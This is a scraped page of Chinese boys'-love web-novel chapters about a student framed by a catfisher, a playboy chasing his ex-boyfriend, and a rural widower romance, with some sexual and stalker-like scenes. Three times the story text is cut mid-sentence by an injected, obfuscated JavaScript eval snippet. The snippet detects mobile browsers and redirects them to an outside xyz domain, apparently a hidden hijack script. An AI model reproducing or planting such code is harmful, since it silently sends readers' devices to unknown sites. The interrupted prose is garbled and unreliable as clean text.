小狗的脸蛋也和身材一样漂亮，鼻梁高挺英气十足，还有张一看就很好亲的厚唇，笑起来眼睛亮晶晶的，露出一口大白牙，完全大金毛一只。 小狗的朋友圈三日可见。 其实以前是不设限的，但是有人偷偷拿了他的照片，还用他的名字去网恋了个家里有些小钱的女孩。女孩不是本地的，被照片迷得晕头转向，给网恋男友买了不少东西，还天天点外卖，对方却用各种理由拒绝面基，也不开视频。 女孩没那么上头后，觉得自己碰到了骗钱的渣男，一怒之下收拾来龙去脉，整理出花销表格做了个PDF，不仅投了表白墙，还在各大平台全方位挂人，大骂渣男。 小狗攻不怎么网上冲浪，只觉得从早上开始，每个人看他的眼神都怪怪的，看得他后背发麻，还是午休时被辅导员叫到办公室，他才知道发生了什么。 小狗攻委屈得不行，他是个天生的同性恋（没跟人说过），怎么可能跟女孩子谈恋爱，还是网恋。在辅导员的帮助下，最后顺利跟女生取得了联系，告知她真相。 只是骗子藏得很好，聊天时的ip显示是在校外一家黑网吧，外卖地址也填的校外，看监控从头到脚遮得严严实实，一时半会还真不知道骗子是谁。 不知情的小狗挨了骂，他没吃午饭，也没心思吃了，拒绝了辅导员要带他去校外吃饭的邀请和女孩发来的道歉金，沮丧地回到寝室。 小狗攻爬上床咬着卷毛小熊玩偶耳朵（他的阿贝贝），翻开联系人列表一个个看，毕竟他的照片都是发在朋友圈的，他平时也不会随便加好友。 挑挑选选了半天，却一个怀疑对象都没有，小狗攻的好友列表都是筛选过几次的，以前有好多人加他，跟他聊着聊着，就从“我今天看了本书，觉得很有意思。”“没想到你也喜欢这首歌，哇塞我们的口味真的很像，我几年前……”“你发力的姿势不对，下次来我带你练。” 变成了：“对了，说到……” 开始馋他的身子。 小狗攻是很纯情的一只小狗，即使谈恋爱也想慢慢来，从牵手开始，小狗攻失望地把他们都删掉了，只留下了平时有往来，也很正常的人。 小狗攻长得大只，性子却很软，怕自己误会了别人，最后只把自己的朋友圈签名改成了“不要拿我的照片做坏事！！！” 他把朋友圈一关，闷闷不乐地窝进被子里睡着了。 小狗攻住在两人寝，室友是个富二代，就开学时来了一次，彼时小狗攻正在收拾屋子。上一届毕业的学长搬走时忘了关窗，一个暑假积攒了不少灰尘，小狗攻想着在室友来之前打扫一下，戴着口罩把自己搞得灰扑扑的。 富二代推开门看着漫天灰尘，半只脚都没踏进就又伸出去，砰一声把门关上了。 小狗攻这才发现好像是来人了，他从来没住过校，开学前还暗暗期待过室友是个怎样的人，没想到人才刚来就又要走，他追出去，他的室友却头也没回，挥挥手：“你自己住吧，我校外有房子。” 小狗攻的耳朵耷拉下来，“哦”了声，从此开始了一人独享双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513192|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人寝的生活。 小狗攻下午没课，本该去的健身房也没去，一觉睡醒后胃里空荡荡的，他揉了揉发胀的眼皮——从来没被那么多人骂过的小狗攻还是忍不住哭了。 手机摸着有些热，因为没电关机了，小狗攻又揉了揉肚子，慢吞吞地爬下床找充电器，等待开机的时候塞了好几片苏打饼干才从那要把他肚子都饿瘪的饥饿中缓过来。 刚开机，就有好多消息弹出来，小狗攻还以为又是骂他的，被吓得马上又按灭了屏幕，毕竟他也知道“造谣一张嘴，澄清跑断腿”的道理，现在知道他也是受害者的人肯定没骂他的多。 小狗瘪瘪嘴，又想哭了，干脆把手机往抽屉里一甩，揣着仅剩的二十元现金，带好口罩帽子准备出门觅食。 结果门刚一打开，几双眼睛齐刷刷看了过来。 “草，从中午开始发消息不回电话也不接，结果你在睡觉？！我他爹的还以为你一时想不开，差点报警知不知道！” 这是总跟小狗攻所在的篮球队抢第一的死对头黑脸哥。 “网上的不实消息我已让人处理了，骂得最凶的那几个，也已经取好证让律师去联系了，不用担心。” 这是小狗攻的学长，高冷寡言，却会在小狗攻苦兮兮地发朋友圈说高数好难时，打来视频给小狗攻讲题。 “饿了吗，来，先吃点东西吧。” 这是在公园给跑完步坐在长凳上休息的小狗攻画了幅速写，裱在相册里送给小狗攻，后来又经常约他出去，说他是自己的缪斯的艺术生。 “我看你没来上课，就找了人把我带进学校，对了，我也相信你不是那种人。” 最后一名，是小狗攻最信任的，不会在锻炼时对他动手动脚的，据说是个退役特种兵，高亮“直男”的健身教练：“还有，以后不会了，对不起……” 最后那句话说出口的瞬间，走廊倏然安静下来，刚刚还一脸暴躁，冷静，温柔的三人通通不自然地移开视线。 “那个，反正你也看不见，我做点坏事咋了，谁叫你老发那些……啧，行吧，是我错了，包意思。” “……抱歉。” “你的身体很美，是我的灵魂肮脏，对不起。” 被他们的关心感动得泪眼汪汪的小狗攻：“？” 5. 风流渣攻（1） 想看那种渣攻贱受（x）渣左遂收心追夫火葬场结果成共妻 木愣学霸受被人拉去酒吧，对被起哄上台，将衬衫纽扣解至腹间，露出大片光洁饱满胸/r，随着音乐扭腰的风流攻一见钟情，旋即展开追求。 学霸受过往的二十多年光读书去了，情商基本为0，也没追过人，全凭本能做事。而渣攻风流多情，恋爱次数比学霸受专业课课本还多，也没心思嚯嚯这小年轻，后来渐渐被他的笨拙打动（也没谈过这种类型的），决心给他一个机会。 但渣攻毕竟是渣攻，即使跟林柏安确定了恋爱关系，也不改花花公子本色，泡吧喝得烂醉，就打林柏安的电话让他来接自己，丝毫不管林柏安在做什么。而林柏安竟也毫无怨言，就连熬了几个大夜发烧在家休息，接到左遂电话，也马不停蹄地淋着雨赶去。第二天被嫌弃他身上太烫的左遂一脚踹下床，也只是帮他掖好被角，做醒酒汤去了。 几次下来，左遂心底其实甚至隐隐有些看不起林柏安，觉得他不过是自己身后一条怎么踹也踹不走的狗，后来愈发肆无忌惮，带狐朋狗友去他跟林柏安的家开party，将干净整洁的房子弄得一塌糊涂，被打趣着灌了不少酒，迷迷糊糊地被人扶着上了c。 等左遂醒，浑身酸胀头痛欲裂，看到床边熟悉的人影，他自然而然地使唤林柏安去给他倒水，林柏安却一动未动。等左遂不耐地睁开眼，拿枕头砸他，他才哑声道:“我们分手吧。” “什么？” 左遂彻底醒了，坐起身时“嘶”了声，低头看着自己指痕遍布，惨不忍睹的上身，和破了皮轻轻一动就刺痛的腿心，黑着脸:“你把我弄成这样，还要跟我分手？” 林柏安却只淡淡道:“我给你发过信息，昨晚我在实验室。” 左遂愣住了，好半晌才反应过来林柏安的意思，心头莫名有些惶然，面上却毫不在乎啧了声: “不就是一时不注意玩脱了，你至于么？” 林柏安深吸了口气，摘下黑框眼镜，用那双黑得怖人的瞳孔静静盯着左遂，直到左遂不自在地扯过被子遮住胸前的不贞痕迹，他才开了口:“至于。” “我受够了。”他说，“我们分手吧。” 只有他甩人，从来没被甩过的左遂也怒了:“分就分！” “你个丝毫不懂浪漫，什么节都只知道买土得要死的玫瑰花，床上还跟个死人一样，一点花样都没有，一天就是什么实验数据的书呆子，我他爹的也早受够你了。我告诉你，想跟我上?的人多了去了，要不是你当初那副死乞白赖跟在我屁股后面怎么也打不走的癞皮狗样子，哪能轮得到你！” 左遂一股脑地发泄着，说到最后，他连自己都不知道自己在说什么，只能看着林柏安的背肌逐渐绷紧，隐忍地发颤，最后一松。 “我是没他们玩得你舒服。”林柏安轻轻笑了声，竟有些不寒而栗的阴森，“现在你可以去找他们了。” 他转身就走，刚出门，背后又是一个枕头砸来。 “你最好别后悔！” 分手当夜，左遂拖着满是痕迹的疲累身躯，一头栽进狐朋狗友为他“重返单身”创办的聚会里，直到从酒醉中清醒，看着陌生的天花板，左遂才对自己已经分手有了些实感。 手机里消息爆满，一条条全是狐朋狗友的打趣和约他出去的消息，被愤怒压过的理智回笼，左遂后知后觉地有些不是滋味。 是他做错了么？念头一出，左遂立刻摇了摇头，以前不都是这么过来的么，凭什么林柏安忍了那么久，却不能再多忍这一次，不就是跟人上了…… 头好疼，却再也没有一双手拂过他的额发，帮他按揉穴位缓解不适了，左遂慢慢捂住脸，叹了口气。 玩够了才发现自己爱的只有林柏安一个，但林柏安被他伤得太深早已删除了和他的联系方式，左遂只能从共同好友下手，结果没找到。然后惊讶的发现——他居然一点都不了解林柏安。 不知道他爱吃什么，不知道他的爱好，也不知道他的家庭背景。林柏安好像是跟他说过的，但他左耳进右耳出，忘得一干二净，最后才想起来林柏安的学校，于是去门口蹲守，蹲了两天，都没能看到人影，倒是被几个一看也是书呆子的大学生冲过来骂了一顿。 左遂只觉莫名其妙，想生气，又觉得自己都快三十了，犯不着跟这几个十几岁的崽子生气，翻来覆去都是那几句，无外乎是说他什么水性杨花，脚踏几条船，玩弄感情什么的。 左遂一挑眉，“我玩弄谁了？” 他拽住离得最近那个义愤填膺的男大胸口挂着的实验室出入牌，一拉，“小弟弟，像你这种的nerd，可不是我的type。” “！” 刚才还怒气冲冲的男大不林柏安控制地往下一瞥，撞见一片麦色，胡椒和麝香的皮革气息带着辛辣，他鼻腔一热，诡异地脸红了，羞怒道:“有伤风化！” 这哪来的封建古风小生，左遂无语，拿牌子拍了拍他的脸，“不知道你们为什么骂我，我也没空陪你玩儿了，但再要让我听到这些……” 他勾唇，“如你们所见，我是个社会人士，有大把的时间陪你们慢慢玩。” 被他视线扫过的一群人顿时像是被拎着脖子的幼崽，忙不迭抱着书走了，嘴里还叽里咕噜念叨着些什么，听着像是要跟谁告状。 好像听到了林柏安的名字，左遂一愣，想叫住他们问个清楚，却被车流挡住了脚步。 算了。 第三天，左遂终于在门口看到林柏安的身影，被上次骂他的一群学生簇拥着从学校在车站等车。 左遂正想上前，却没动，呆呆地看着对面的林柏安。林柏安好像正在讲些什么，旁边一群小鸡崽子听得一脸认真，还拿出随身带的本子勾勾画画，恍然大悟地点点头。 这是左遂从未见过的他意气风发的一面，一时有些怔住，像是感应到他的视线，林柏安抬眸望来。 目光相接时，左遂不知怎的后退了半步，有些紧张，但林柏安很快就收回了视线，直到上车，也再没看左遂一眼。倒是他身后的那几个青年也跟着看来，狠狠瞪了左遂一眼。 看着校车上挂着的“xx届xx杯参赛人员专用”的横幅，左遂没追上去，垂头丧气地钻进了车，双臂往方向盘上一搭，闷闷地想：他看见了么？还是没有？以前他的眼睛都恨不得黏在我身上的…… “叩叩。”车窗被敲响，左遂惊喜地抬头，是名陌生的带着围裙的棕发青年，“先生，不好意思，我们这里不能停车太久的。” “哦，抱歉……”左遂抿抿唇，“我马上走。” 之前没见过，这两天才来门口晃，也不像是这里的学生，打扮的这么成熟，浑身散发着□□十足的荷尔蒙，怎么却像只没了主人的小狗？ 上次论坛里有人炫耀自己找了家上市公司高管当狗，难道他也是…… “等等。”棕发青年眸光闪烁，“忘了介绍，我是这家咖啡店的店员。” 他眨眨眼，凑近左遂小声道：“先生是来等人的吧？” 左遂不自在地扯了扯领口，纽扣被他扯松一颗，饱满迫不及待地从领口间蹦出，随着呼吸起伏，沐浴着日光的肌肤像极了刚出炉的蜂蜜蛋糕。 想咬。 棕发青年磨了磨后齿，笑得更温柔了：“开着车目标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513193|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太大，到底有些不方便，先生要是对咖啡感兴趣的话，可以考虑成为店里的会员，我还可以操作一下，给先生叠加个七五折优惠，再为你预留好靠窗的位置。” 现在办卡的都这么贴心？但他确实对这苦不拉几的东西没兴趣，左遂问：“有其他的么？” 不喜欢苦啊，看来以后得多吃些菠萝。目光从他软而厚，一看就很好亲的下唇滑过，棕发青年将ipad递到左遂面前，“我们店里的蛋糕也很出名，要不先生先跟我进店里坐坐，我为先生提供一份试吃拼盘？” 等了一下午，左遂也有些饿了，舔舔唇，“好。” 办了会员，也跟店员加上了好友，左遂自此成了店里的常客。左遂是富二代，继承了他爹的几家公司，但有专业团队打理，他闲得很，有合同直接邮箱发他签了就行，去不去公司都无所谓。 下定决心追回林柏安后，他也跟狐朋狗友断了联系，每天起床就是锻炼，锻炼完就去咖啡店坐着等林柏安，雷打不动。 但不是每天都能看到他，店里不忙时，他就棕发青年聊天，一来二去的他还真把人当成了朋友。就是他这个朋友有些奇怪的小癖好，总时不时拿出几张照片问他哪个最好看，都是些项圈耳朵尾巴什么的，有时还会混入几张汝夹x环的照片。 看得左遂一激灵，他不太理解，但尊重这种私人的小癖好，硬着头皮从中选了几个没那么露骨的。 “我也觉得这几个好。”棕发青年抬手搂了他一下，不经意地擦过他汝尖，“看来我俩还真是有缘。” 左遂咬住下唇，没吭声，等他去接待顾客时，悄悄揉了揉。 好痒。 他这里以前不敏感的，但自从被林柏安捉奸在床（x）提分手后，就像是打通了任督二脉，稍微林柏安些刺激都会立起，连锻炼时也会充血。 左遂喜欢去健身房，就是为了练完后看到其他男人艳羡的目光暗爽，但这下多少有些尴尬，他都换了好几个健身房，最后只能选择在家练。 左遂吃掉盘里的最后一口蛋糕，伸了个懒腰准备走，忽地看见远处一道熟悉的身影，扔下一句“账单记我卡上”，连外套都来不及穿就追了上去。 浑然不知棕发青年拿起他的外套进了休息室，一个小时后才出来，而他身后，昏暗的房间内，那件面料平整的外套正皱皱巴巴地躺在地上，沾了不少浊液。 的确是林柏安，左遂追上去一把将人拉住，看着他那无波无澜的双眼，却不知该说些什么，只干巴巴冒出一句：“你，你瘦了好多。” 林柏安淡淡地抽回手，抬脚就走，将左遂无视了个透彻。左遂不死心地跟在他身后，小心翼翼地问：“你最近还好吗？” 话一出，他倏地想起以前被他甩掉的那些人，好像也是他这样，在他屁股后面期期艾艾，期盼着他能回头。 真是风水轮流转，这下，尝到这种滋味的人成了他。 左遂的鼻子又开始酸了，舌尖还残存着奶油的香甜，在这一刻他却觉得好苦。 都要三十了，怎么还跟个小年轻似的放不下，算了吧，或许放弃对他俩都好，他停下脚步，“抱歉，我……” 一阵风吹来，左遂打了个哆嗦，肩头忽地一暖。 “我还有事先走了。”林柏安说，“兜里有卡。” 说完，他没再回头，径直离开了，而左遂站在原地，熟悉的气息将他包裹，身躯回暖，他的眼睛也一点点亮了起来。 手往兜里一摸，是张校园卡。 指腹轻抚着照片中人的轮廓，左遂心脏久违地加速跳动。 放不下就放不下，他想，也就这么一次了。 6. 风流渣攻（2） 棕发：店里上新了几款蛋糕。 棕发：【图片】【图片】【图片】 棕发：最近怎么不见你来？ 棕发：跟主人和好了？ 对方撤回了一条消息。 左遂习惯了被人追，追人倒是第一次，说是要追回林柏安，他的生活也没多大变化，顶多是多了样下午去学校晃晃的日程。 他刚做完一组举重，大汗淋漓地起身，手一滑没能解锁，也就错过了那条消息。他舔舔唇，被照片里一看就很好吃的蛋糕勾起了食欲。 但上周他吃了太多，糖分摄入超标，腹肌都没之前明显了，只得改方案多加练。 毕竟不如十几二十岁的代谢强，男人上了三十，就得花更多精力维持身材。 他擦掉手上的汗，刻意忽略照片，敲键盘回：工作上有些事，在忙。 棕发：我还以为你跟他和好了呢。 对方撤回了一条消息。 左遂拧起眉头：“？” 他不记得自己跟他聊过这些。 棕发：辛苦了，你给我个地址吧，我给你闪送两块蛋糕来。 左遂：不用了。 棕发：好吧，这其实是我自己研发的，还没找人试过，也不知道好不好吃。委屈.jpg 棕发：万一不好吃就是浪费店里的材料，要自己补钱的。哭.jpg 我也不敢找他们试，我怕他们故意说不好吃…… 左遂指尖一滞，想起来棕发的确跟他说过自己被那几个店员抱团排挤的事，而每次进店都是棕发招待他，也没见其他几名店员跟他聊过天。 将聊天框里原本的文字删掉，换成了家里的地址。 左遂：那就谢谢了。 左遂：【转账：200.00】 棕发：【转账】已退还 棕发：不用，你只要告诉我好不好吃，哪里需要改进就行了。转圈圈.gif 不过半小时就到了，却不是棕发口中的两块，而是整整两个六寸蛋糕，吃倒是能吃完，但要是吃了，铁定得牙疼。 左遂：好，我下午吃。 左遂：谢了。 下午，精心打扮做了造型还喷了香水的左遂提着两盒蛋糕，光明正大刷卡进了a大校园。在好心学弟的带领下，找到了林柏安所在的实验室大楼。 男生：“哥，给个微信吧，以后学校里有啥不知道的，都能找我。” 他耳垂通红，左遂看来时还紧张地吞咽了下，真是什么都写在了脸上。 看来他今天这身装束不错嘛，左遂眯起眼，英俊面容因着上挑眼尾，无端多了几丝媚意：“既然知道我不是这学校的人，怎么也这么热情” “万一......”他轻笑，“我是来找人麻烦的呢？” 他没有调情的意思，只是心情一好，那骨子里的风流便自然而然地冒了出来，引人注目。 男生脸更红了，嗫嚅道：“有，有卡才能进学校的啊。” “那万一我是偷来的呢？” 男生摇头：“我觉得你不像。” “哦？”左遂挑眉，“我怎么……” “左遂！” 是当初那个被他用卡的青年，大步上前挡住男生，怒气冲冲道：“你又在勾搭人！” 怎么每次见他都是一副看负心汉的眼神，跟他有关系么？左遂皱了皱眉，但想到这人是林柏安的直属学弟，算他半个亲友，按下不耐：“你误会了。” “他脸红成这样，我误会什么了。” 他背后的男生已经尴尬得恨不得钻进地里，弱声道：“你们认识啊，那我先走了。” “谁跟他认识，诶，你别走，我告诉你，这个男人就是个渣男，你别信，诶，你别跑……” 怎么比林柏安脑子还呆，左遂叹了口气，将人拦住，沉声道：“别闹。” 青年转过身，明明比他还高半个头，胆子居然这么小，被他这一喝，眼眶居然红了。 “你凶我！” 不就语气重了些么，哪里是凶，在他还要说些奇奇怪怪的讲他俩搞上校园墙被人八卦之前，左遂先一步提起手里的蛋糕，说：“我是来送东西的。” 青年的注意力成功被吸引，结巴道：“给，给我的吗？” 家里真的该请个人了，左遂翻了个白眼，“给你……” “最尊敬的师哥，林柏安。” 青年眼里的光一下灭了，跟个灯泡一样，看得左遂直乐：“行了行了，他一个人也吃不完，也是给你们的，走吧，你给我带个路，我们一起上去。” 这下总行了吧。 怎料青年刚低头看了眼，就又跟个河豚一样，“左遂，你太过分了！” “？” 天呐，来个人收了他吧，眼看视线越来越多，左遂将他拉到阴暗处，一头黑线，“我又怎么了？” “我们系都知道林哥对蓝莓过敏，你还敢带蓝莓蛋糕来，还是两个！” 他简直就是将左遂当成了敌人，气得直抖：“不管你是怎么进来的，我告诉你，我是不会让你再出现在林哥面前祸害他的！” 蓝莓过敏？他怎么不知道？ 左遂：“他从来没跟我说过。” “说得像说了你会记得一样。” 听他小声吐槽，左遂直皱眉，严肃道：“我当然会记得，过敏不是开玩笑的，严重的话是会有生命危险，别拿这种事开玩笑。” 这下愣住的换成了对方，“对不起。” 还挺诚恳，左遂扶额，跟这呆子计较些什么，他伸手去够他手里的蛋糕：“我去换两个。” 被躲开了，青年眼神闪躲不敢看他，理不直气也壮：“都给了我，你还想拿回去？！” “林柏安又吃不了，你拿上去干什么？” “我可以吃啊。” 两人大眼瞪小眼了一阵，最后以左遂退步结束：“行行行，你吃，我再给他买一个。” “你别买了，师哥做实验的时候从来不吃外面的东西。”青年抬手一看时间：“时间快到了，我先走了。” “哎，你跟林柏安——” 这臭小子，跑这么快，有鬼撵啊！ 看样子也没听到， 大楼内，青年一股脑跑到拐角，将手中的蛋糕小心翼翼放到地上，随后蹲下身，将脸埋进了双臂。 他刚才碰到我了。 他刚才碰到我了。 他刚才又碰到我了…… 好香。 将脸埋在掌心深吸了一口，他又动动鼻子，凑近蛋糕顶部的丝带，着了迷般的疯狂嗅闻，捕捉奶香中的那丝辛辣。 等到两条丝带都被洇湿，他才满足地舒了口气，就这样蹲在墙角，一口一口，吃掉了两个六寸蛋糕。 不好吃。 好好吃。 “你刚才干什么去了，这么久才回来？” “没，嗝，没什么。” 有鼻子灵的闻到的那股酸甜香气，“你小子吃独食不带我们是吧，我要去跟师哥告……” 出声那人被他陡然阴沉的视线看得一激灵，再眨眨眼，只见小师弟又恢复了以往的神色，双手合十晃了晃，“别告诉师哥嘛，我马上打电话让人订，Lady M的你们吃吗？” “草，这么有实力？这我必吃啊！” “吃吃吃，我都饿死了！” 好像刚刚是他看错了。 一直站在窗边的眼镜男收回视线，镜片反射过凛冽银芒，他勾了勾唇。 有意思。 …… 4． 棕发：怎么样怎么样？好吃吗？ 棕发：期待.jpg 刚坐上车的左遂愣了下，不好意思说自己根本没吃，想着店里的蛋糕都不错，应该也不会难吃。 还没打字，只见对面喷射似的，弹出一连串消息。 棕发：！ 棕发：惊恐.jpg 失魂落魄.jpg 倒地.jpg 棕发：对不起。 棕发：遂哥你吃了么？ 棕发：希望你还没吃。 棕发：遂哥你在忙？如果看到我的消息，就别吃了。哭.jpg 干嘛呢这是？ 左遂：？ 棕发：我现在才发现，我刚才把香草精和杏仁精弄混了，奶油的味道一定变得很奇怪。 棕发：我居然犯了这么大的错误。崩溃大哭.gif 左遂搜了下，杏仁精加进奶油，除了强烈的杏仁香气以外，还会带上些苦味。 不过有那么多蓝莓，应该能压住苦味。 他：没事，我觉得不奇怪。 棕发：遂哥，别安慰我了。 棕发：今天到的蓝莓也很酸，店家送错了货，把其他店的送到我们这儿了，做出来的蛋糕全都酸得不像话，加糖也不行，现在店里已经紧急下架了所有的蓝莓款。 棕发：还好今天的蓝莓乳酪蛋糕做得不多，损失不大，但是给你的两个蛋糕里我放了很多…… 那就是又酸又苦。 左遂沉默了，诡异地感觉到些放松。 还好他没吃。 不对，他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513194|186177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊，前胸被安全带勒出两道肉弧，上方肌肉呼之欲出，纽扣线不堪重负地发出微不可闻的崩裂声，缝隙间隐隐透出健康而野性的麦色。 林柏安的师弟们本来就有些看不惯他，要是吃到这样的蛋糕，会不会觉得他是故意的…… 左遂解开安全带，就要下车去找青年把蛋糕要回来，手刚放上门把，又想到这会儿怕是已经吃上了。 算了，至少林柏安吃不到这么难吃的东西，下次再补偿他们算了。 棕发：遂哥，真的很抱歉。 棕发：你好心帮我试蛋糕，我却粗心大意的搞出了这么多问题，我真的……不知道怎么办才好了。 字里行间里的愧疚都要溢出来了。 左遂想了想，还是诚实道：没事，我没吃到。 棕发：你不用安慰我，我知道是我不好，从小到大都不会讨人喜欢，努力也总是错了方向，让你失望了。 不就是个小问题么，有什么好让他失望的？未免也有些太内耗了吧，过度在意他人的目光，而忽略了自己，这样迟早会憋出病来。 左遂：我真的没吃，你不用跟我道歉，相反，我还应该跟你道歉。 左遂：抱歉，我拿你的蛋糕送人了。 棕发：诶？ 棕发：没事没事，你没吃就好。傻笑.jpg 拿他送的东西做人情，这孩子怎么还是这个态度？ 左遂摇摇头：而且，就算我吃了，也不会对你失望。 左遂：这只是一次小到不能再小的失误，并不能说明什么，就算是最精密的机器，也总有卡壳出现失误的一天，更何况是人。 左遂：因一个小小失误而沉湎于负面情绪中，不仅无用，也解决不了问题。自责可以，但更需要的是告诉自己，你已经失误过一次了，就应该记得知道后果那刻的惶恐，再克服它，不让这种失误有再次出现的机会。 左遂：这次是我骗你在先，我刚好在a大附近，晚上有空吗，我请你吃饭，就当是道歉了。 屏幕那头，白光倒映在棕发的脸上，照亮了他唇畔诡异的弧度。 “真是个知心的好哥哥啊，怪不得，有那么多人都被你甩了，依然对你死心塌地……” 他喃喃：“不过无论你现在的主人是谁，我都不想放过你了。” 为表歉意，左遂特意选了家能看到江景的高档餐厅，刚落座，却发现对面的棕发不停地往两侧瞥，又飞快收回视线，挺直的脊背微弯，显出几分局促。 左遂低头看看自己一身西装，而他则是简单的卫衣牛仔裤，多少有些格格不入。 他起身，说：“我们换个地方吧。” “啊？”棕发仰头，像是看着自己信赖的哥哥般一脸孺慕，“好。” 小酒馆。 酒过三巡，又是在狭小私密的包厢，碰杯时不小心的撞上的指节，桌下变换坐姿时擦过的小腿，膝盖。 酒香弥漫，气温升高，带着淡淡怜惜的眼神，能够轻易叫人瓦解心中的防线。 听着棕发以平淡口吻讲述小时遭遇的不公，左遂一屁股坐在他身边，拍拍他的肩：“好了，你不想说的话就不用告诉别人。” 像是抑制不住自己的情绪，棕发转身，一把搂住了左遂的腰，脸恰好埋进放松时格外柔软的胸脯。 霸道的辛辣在醇香酒气中柔和，绵软触感如母亲温柔的双手，瞬间将他包围，棕发忍住张嘴吮吸的冲动，忍得整个人都在抖。 被他高挺的鼻梁蹭得酥痒，左遂咬住唇，又觉胸前一湿，正欲将他推开的手散了力度，轻轻抚着他的后背，湿热的吐息从唇间散逸，化作温柔的轻语：“你很细心，能够依据顾客点的蛋糕推荐不同的咖啡，你对顾客很温柔，服务认真周到，做的蛋糕也很好吃。 “你长得很帅，店里有不少女孩子都在偷偷看你，不知道你注意到没有。” “真的么？” 棕发蹭了蹭脸，鼻尖撞似无意地深埋进了沟壑中，隔着布料将那处的肌肤烘至泛红。 明明都是在看你。 “当然是真的。”左遂痒得有些受不了，抬手摸了摸他的头发，“你不是没用的孩子。” 他说，“一切都过去了。” “会越来越好的。” 在他忍不住弓起背后缩时，棕发抬起头来，“遂哥，谢谢你。虽然我们认识不久，但我觉得你就像我的哥哥一样。以后我能叫你哥哥吗？” 左遂松了口气：“当然可以。” 在他看不见之处，棕发垂眸，抬手摸了摸自己压过柔软的唇。 妈妈。 7. 知青寡妇小攻攻 架空年代，默认同性相恋正常不会被毙，什么合格乱编的不要当真。 剧情向，不反攻，都是脐?素股。 攻生子。 1. 下乡的知青玉书死了男人。 他男人周弋是个能干的，上山下水，力气又大啥活都能干，很快就挣了钱，修了大房子，也娶了媳妇儿，村里人都艳羡得紧。 倒不是嫉妒他挣了多少钱，而是嫉妒他的媳妇儿——楼玉书。 城里来的知青，肤白貌美，又带着一股读书人的诗书气，要他们那些大老粗来说，那简直跟天仙下凡一模一样的啊。 楼玉书当年下乡来时，可引发了不小的轰动，村民们争着吵着找村长，要把人分到自个儿家里去。 就算不做活儿，放在哪儿看看也是好的，瞧那张脸，那身段，多赏心悦目啊。 结果最后把人领回家的是周弋。 周弋爹娘早亡，家里就剩他一个，吃百家饭长大，窜得老高，还是村里最能打的。打不过也惹不起，这下其他人就算恨的牙痒痒也没办法了。 周弋天生一张臭脸，楼玉书起初还以为他不喜欢自己，不敢主动搭话，遇到不懂的也不敢问，自己憋得个闷闷不乐的。 夜里觉得身下的炕太硌人，翻来覆去睡不着，又想着自己如今的处境，不知何时父母才能洗脱罪名，将他接回去。一时情绪堆砌，没忍住缩在被窝里哭了起来。 他哭的很小声，呜呜咽咽的，把声音全埋在泛着霉味的被子里，脸都哭花了，抬头发现床边站着个黑影，给他吓得不清，怎么都止不住嗝。 是周弋，他也没能睡着，一闭眼就是那个跟在自己身后，牵着他衣角的小知青。他嘴笨，脸也臭，做不出什么好表情，想朝他笑笑，结果脸上想被人打了拳似的，肌肉不受控制，把人吓一跳。 他也不知道怎么跟楼玉书道歉，反正也睡不着，刚走到楼玉书房门口就听见了他的哭声，怕人出什么意外就闯进来了。 被那双泪眼盈盈的眸子盯着，他觉得心口像是被人啃了一块的麻糖，又酥又麻。 “你…嗝，怎么，唔，在……”迎合月光勾勒出的轮廓，楼玉书认清了他的身份，是周弋，见人朝自己伸手，他还以为是哭得太大声把人吵醒了，他屏住呼吸，歉意地闭上双眼，仰起脸。 却等到了脸上温热的触感。 周弋小心翼翼地用指腹擦掉他面上的泪水，他的手很粗糙，抹过细腻肌肤的瞬间，楼玉书的面颊上就浮起了丝丝缕缕的薄红。 周弋懊恼地皱了皱眉，他已经尽力控制力度，没想到还是把人伤到了。 “抱歉。”他说，干巴巴的，又找补似的，“别伤心了，这里是差了些，你看不起很正常，我家里条件虽然不好，但你想要什么可以跟我提，我会尽力做到。” 诶？ 楼玉书小心翼翼睁开眼，对上那双在黑暗中也熠熠生辉的黑亮眼眸，迟来的不好意思涌上心头，他抿了抿唇，小声道：“没，没有看不起。” 这下倒是止住嗝了。 只铺了薄薄一层棉絮的炕硬得很，他悄悄挪了挪屁股，把自己又往里塞了塞，说，“我没什么想要的，谢谢你，这么晚了，你，你快去睡吧。” “好，那你有事叫我。” 见他离开，楼玉书抚着胸口松了口气，刚准备躺下，人又回来了。 这次，他还带着东西——一个搪瓷杯和一床厚棉絮。 楼玉书捧着热水小口喝着，看周弋三两下就将那床棉絮垫好，还换了新床单，他坐上去，软软的，一点都不硌了。 睡在有皂角香味的松软被窝中，他打了个哈欠，很快陷入了梦乡。 意识昏沉之际，他想：好像……这个人也没有他外表那么凶，挺，挺好的。 2. 